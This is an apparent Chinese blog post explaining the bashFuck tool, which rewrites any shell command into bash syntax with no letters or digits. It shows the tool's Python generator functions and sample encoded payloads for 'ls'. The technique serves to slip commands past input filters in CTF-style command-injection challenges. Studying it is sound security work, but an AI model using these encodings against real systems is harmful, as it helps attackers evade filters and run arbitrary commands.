bashshell 无字母命令执行构造原理

项目地址: https://github.com/ProbiusOfficial/bashFuck
视频讲解: https://www.bilibili.com/video/BV1ds4y1V7Yq

前言

整个项目的核心是 Linux终端可以通过 $'\xxx' 的方式执行命令,xxx是字符ascii码的八进制形式,通过这一点,我们可以通过位运算符号和Linux终端的其他特性,在没有数字的情况下继续构造这样的形式以实现无字母数字仅用几个字符就实现任意命令执行。

当然本项目也有一定局限性,这取决于linux的系别,我们知道sh其实是一个软连接,在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,这也是本项目名称为 Bsahfuck 的原因。

原理解析

common_otc(cmd)

1
2
3
4
5
6
7
8
9
def common_otc(cmd):
payload = '$\''
for c in cmd:
if c == ' ':
payload += '\' $\''
else:
payload += '\\' + get_oct(c)
payload += '\''
return info(payload)

首先我们知道,在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以得到第一个函数common_otc(cmd),该函数将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,如果为连续的一串$'\xxx\xxx\xxx\xxx'形式,则我们无法执行带参数的命令。

比如”ls -l“也就是$'\154\163\40\55\154',因为这样会把整个字符串当作一个单词,而不会分割成不同的参数,这里涉及到bash的一个单词分割,在Bash中,单词分割是一种将参数扩展、命令替换和算术扩展的结果分割成多个单词的过程,它发生在双引号之外,并且受到IFS变量的影响

(简单提一嘴,IFS是一个环境变量,它定义了字段分隔符,也就是用来分割字符串的字符。默认情况下,空格、制表符和换行符被认为是字段分隔符)

如果一个字符串包含空格或其他IFS字符,它会被分割成多个单词,每个单词作为一个独立的参数传递给命令。

但因为八进制转义序列是在命令行解析之前就执行的,所以它不会触发单词分割

(具体原理可以参考:

【Bash word splitting mechanism】https://stackoverflow.com/questions/18498218/bash-word-splitting-mechanism

【$IFS】https://bash.cyberciti.biz/guide/$IFS

bashfuck_x(cmd, form)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def bashfuck_x(cmd, form):
bash_str = ''
for c in cmd:
bash_str += f'\\\\$(($((1<<1))#{bin(int(get_oct(c)))[2:]}))'
payload_bit = bash_str
payload_zero = bash_str.replace('1', '${##}') # 用 ${##} 来替换 1
payload_c = bash_str.replace('1', '${##}').replace('0', '${#}') # 用 ${#} 来替换 0
if form == 'bit':
payload_bit = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_bit + '\\\''
return info(payload_bit)
elif form == 'zero':
payload_zero = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_zero + '\\\''
return info(payload_zero)
elif form == 'c':
payload_c = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' + payload_c + '\\\''
return info(payload_c)

基于上面的基本原理,我们引入一些表示特性和运算特性:

比如,在bash中,支持二进制的表示整数的形式:$((2#binary))$(($((1<<1))#binary))

通过阅读bash的参考文档https://www.gnu.org/software/bash/manual/bash.html,我们知道`$`作为一个特殊字符,有多样化的功能,比如`$()`可用来表示命令替换或者算术扩展。

在这里我们引入 $(()) 也就是 算术扩展,让其在括号中执行运算再替换到当前位置。

如果括号里面没有东西的话,也就是为0,那么直接echo $(()) 我们就可以得到字符 0

比如我们下面引入一些位运算

左移运算符: 1<<1可以得到2

取反:我们在 0 的基础上取反,就可以得到字符 -1 (这个原理很简单,因为0的二进制表示是00000000,取反后得到11111111,这个数在补码表示法下就是-1

除了$() $ 还可以 用${}的方式来扩展变量,具体的用法可以参考:https://stackoverflow.com/questions/5163144/what-are-the-special-dollar-sign-shell-variables

这里我们主要用到下面的特性:

$ 来替换 1 ,用 $表示接受参数个数,在终端中参数为空 值为 0

  • ${?}表示上一条命令的退出状态,如果上一条命令异常 ${?}值为1,如果正常退出则为0
  • ${_}表示上一个命令的最后一个参数。(如果上一个指令的输出是0的话,就能构造出sh了)

那么对于bash_x的三种写法也就很任意理解了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Command:ls
Charset : # $ ' ( ) 0 1 < \
Total Used: 9
Total length = 69
Payload = $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
---------------------------
Charset : # $ ' ( ) 0 < \ { }
Total Used: 10
Total length = 117
Payload = $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\'
---------------------------
Charset : ! # $ ' ( ) < \ { }
Total Used: 10
Total length = 147
Payload = ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}${##}${##}))\'

bashfuck_y(cmd)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def bashfuck_y(cmd):
oct_list = [ # 构造数字 0-7 以便于后续八进制形式的构造
'$(())', # 0
'$((~$(($((~$(())))$((~$(())))))))', # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7
]
bashFuck = ''
bashFuck += '__=$(())' # set __ to 0
bashFuck += '&&' # splicing
bashFuck += '${!__}<<<${!__}\\<\\<\\<\\$\\\'' # got 'sh'

for c in cmd:
bashFuck += '\\\\'
for i in get_oct(c):
bashFuck += oct_list[int(i)]

bashFuck += '\\\''

return info(bashFuck)

在前面我们就提到过 $(()) 的用法,在不使用$((2#binary))特性的情况下,我们还可以通过多个-1的叠加再取反去构造任意数字,于是就有了:

1
2
3
4
5
6
7
8
9
10
oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造
'$(())', # 0
'$((~$(($((~$(())))$((~$(())))))))', # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7
]

这样就可以使用$(())去构造$'\xxx\xxx\xxx\xxx'

再引入我们前面提到的,变量赋值,我们就可以轻松的用$(())拿到sh

1
2
3
4
5
bashFuck = ''
bashFuck += '__=$(())' # set __ to 0
bashFuck += '&&' # splicing
bashFuck += '${!__}<<<${!__}\\<\\<\\<\\$\\\'' # got 'sh'
# bashFuck = __=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\'

得到我们第四种payload形式:

1
2
3
4
5
Command:ls
Charset : ! $ & ' ( ) < = \ _ { } ~
Total Used: 13
Total length = 393
Payload = __=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

总结

除开上面的几种写法,利用特性其实还能构造出不同的payload,或许还有一些方法没有被探索到,如果上面的文档存在错误欢迎师傅们指出捏,如果有新的想法也欢迎师傅们讨论。


bashshell 无字母命令执行构造原理
https://probius.xyz/2023/03/09/bashshell-无字母命令执行构造原理/
作者
Probius
发布于
2023年3月9日
许可协议